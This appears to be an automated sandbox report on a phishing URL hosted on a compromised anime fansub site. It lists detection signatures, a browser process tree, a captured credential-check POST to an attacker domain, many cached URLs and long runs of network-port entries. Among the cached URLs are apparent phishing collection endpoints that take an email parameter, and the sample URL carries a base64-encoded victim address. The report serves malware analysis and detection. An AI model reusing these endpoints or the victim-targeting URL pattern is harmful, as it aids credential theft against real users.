Edit tour

Windows Analysis Report
https://oyatsu-jikan.org/#Z2FyeXRocm93JG5hdGlvbmFsdHViZXN1cHBseS5jb20=

Overview

General Information

Sample URL:	https://oyatsu-jikan.org/#Z2FyeXRocm93JG5hdGlvbmFsdHViZXN1cHBseS5jb20=
Analysis ID:	1567532
Infos:

Detection

Outlook Phishing, HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Yara detected HtmlPhish10

AI detected suspicious Javascript

Performs DNS queries to domains with low reputation

Yara detected Outlook Phishing page

HTML body contains low number of good links

HTML body with high number of embedded images detected

HTML title does not match URL

Stores files to the Windows start menu directory

Suspicious form URL found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4648 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1184 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2004,i,5595098114328850437,5737891154846848419,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://oyatsu-jikan.org/#Z2FyeXRocm93JG5hdGlvbmFsdHViZXN1cHBseS5jb20=" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
2.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.1.pages.csv	JoeSecurity_OutlookPhishing	Yara detected Outlook Phishing page	Joe Security
3.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
3.2.pages.csv	JoeSecurity_OutlookPhishing	Yara detected Outlook Phishing page	Joe Security

HTTP traffic detected: POST /check.php?tap=GFI0KhbrZPzQmxHwqXlNWHRiuSFjfWxfzpkYoBtrrYdNL38ntzCpN9OGBpr3SJFcT9hWpLQJaK8WjF6Yn1AEGDWnnpFlDpZF6vqlpbOhpFAX2IBz157dbFf5oW2KXv1T HTTP/1.1Host: www.ms-docs.xyzConnection: keep-aliveContent-Length: 9Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: nullContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=64164147a0126881c9cba57751d03b4f

Source: chromecache_61.3.dr	String found in binary or memory: http://animetosho.org
Source: chromecache_61.3.dr	String found in binary or memory: http://gmpg.org/xfn/11
Source: chromecache_61.3.dr	String found in binary or memory: http://key15th.com/
Source: chromecache_61.3.dr	String found in binary or memory: http://shini-subs.com/
Source: chromecache_61.3.dr	String found in binary or memory: http://tokyotosho.info/search.php?username=Oyatsufs
Source: chromecache_61.3.dr	String found in binary or memory: http://tracker.anime-index.org/index.php?page=torrents&search=Oyatsu&category=0&activ
Source: chromecache_61.3.dr	String found in binary or memory: http://tracker.minglong.org/oyatsu
Source: chromecache_61.3.dr	String found in binary or memory: http://virus123.brokenforums.net/
Source: chromecache_61.3.dr	String found in binary or memory: http://visualnovelaer.fuwanovel.org/
Source: chromecache_61.3.dr	String found in binary or memory: http://wordpress.org/
Source: chromecache_61.3.dr	String found in binary or memory: http://www.aniyoshi.com
Source: chromecache_66.3.dr, chromecache_62.3.dr	String found in binary or memory: http://www.ascenderfonts.com/info/webfont-eula.aspx
Source: chromecache_61.3.dr	String found in binary or memory: http://www.cryoutcreations.eu/mantra
Source: chromecache_61.3.dr	String found in binary or memory: http://www.nozomi-subs.blogspot.in/
Source: chromecache_61.3.dr	String found in binary or memory: http://www.nyaa.eu/?page=torrents&user=126994
Source: chromecache_61.3.dr	String found in binary or memory: https://api.w.org/
Source: chromecache_61.3.dr	String found in binary or memory: https://autolife.news/audi-a8-2024/
Source: chromecache_61.3.dr	String found in binary or memory: https://autolife.news/bmw-x7-2024/
Source: chromecache_61.3.dr	String found in binary or memory: https://autolife.news/obzor-bmw-x6-m60i-2024-goda/
Source: chromecache_61.3.dr	String found in binary or memory: https://autonews.life/lexus-gx550-2024/
Source: chromecache_61.3.dr	String found in binary or memory: https://autonews.life/mercedes-amg-cla-35-4matic-2024/
Source: chromecache_61.3.dr	String found in binary or memory: https://autonews.life/range-rover-sport-p550e-2024/
Source: chromecache_61.3.dr	String found in binary or memory: https://ofdls.online/#
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/about/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/author/oyatsuoishii/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/author/zeroyuki/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/bang-dream-14-ova/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/bang-dream-14-ova/#comments
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/category/anime/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/category/announcement/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/category/bang-dream/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/category/news/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/category/robomasters/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/category/uncategorized/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/comments/feed/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/faqs/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/feed/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/irc/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/it-was-nice-while-it-lasted/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/it-was-nice-while-it-lasted/#comments
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/page/2/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/page/26/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/page/3/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/playback-guide/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/projects/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/projects/completed/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/projects/dropped/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/projects/ongoing/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/regarding-nyaatorrents/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/regarding-nyaatorrents/#comments
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/robomasters-02-and-were-continuing/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/robomasters-02-and-were-continuing/#comments
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/robomasters-the-animated-series-01/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/robomasters-the-animated-series-01/#comments
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/seijo-no-maryoku-wa-bannou-desu-01/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/seijo-no-maryoku-wa-bannou-desu-01/#comments
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/seijo-no-maryoku-wa-bannou-desu-02/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/seijo-no-maryoku-wa-bannou-desu-02/#comments
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/slightly-belated-happy-6th-anniversary/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/slightly-belated-happy-6th-anniversary/#comments
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/spring-recommendation-tsugumomo/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/spring-recommendation-tsugumomo/#comments
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/summer-recommendation-made-in-abyss/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/summer-recommendation-made-in-abyss/#respond
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/visual-novel/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-content/themes/mantra/resources/css/style-mobile.css?ver=3.3.1
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-content/themes/mantra/resources/images/pins/Pin2.png);
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-content/themes/mantra/resources/js/PIE/PIE.php);
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-content/themes/mantra/resources/js/frontend.js?ver=3.3.1
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-content/themes/mantra/style.css?ver=3.3.1
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-content/uploads/2012/08/cropped-Banner.jpg
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-content/uploads/2017/07/OyatsuJapan-300x169.jpg
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-content/uploads/2017/09/Bandori_14_premux.mkv_snapshot_11.09_2017.08.27_
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-content/uploads/2017/10/01-ss-2-300x169.png
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-content/uploads/2017/12/Oyatsu-Robomasters-The-Animated-Series-02-1280x7
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-content/uploads/2021/04/01.mkv_snapshot_06.54.134.png
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-content/uploads/2021/05/02_001_20827.png
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-includes/css/dist/block-library/style.min.css?ver=5.9
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-includes/js/jquery/jquery.min.js?ver=3.6.0
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-includes/wlwmanifest.xml
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-json/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/wp-login.php
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/xdcc/
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/xmlrpc.php
Source: chromecache_61.3.dr	String found in binary or memory: https://oyatsu-jikan.org/xmlrpc.php?rsd
Source: chromecache_61.3.dr	String found in binary or memory: https://ozxa.xyz/#
Source: chromecache_65.3.dr, chromecache_61.3.dr	String found in binary or memory: https://regenbogen-kueche.de/clean/token/referrer=
Source: chromecache_61.3.dr	String found in binary or memory: https://wordpress.org/
Source: chromecache_65.3.dr, chromecache_61.3.dr	String found in binary or memory: https://www.kaandlarugs.com/vincar/token/referrer=
Source: chromecache_65.3.dr	String found in binary or memory: https://www.ms-docs.xyz/?email=
Source: chromecache_65.3.dr, chromecache_61.3.dr	String found in binary or memory: https://www.web-api.top/?email=

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
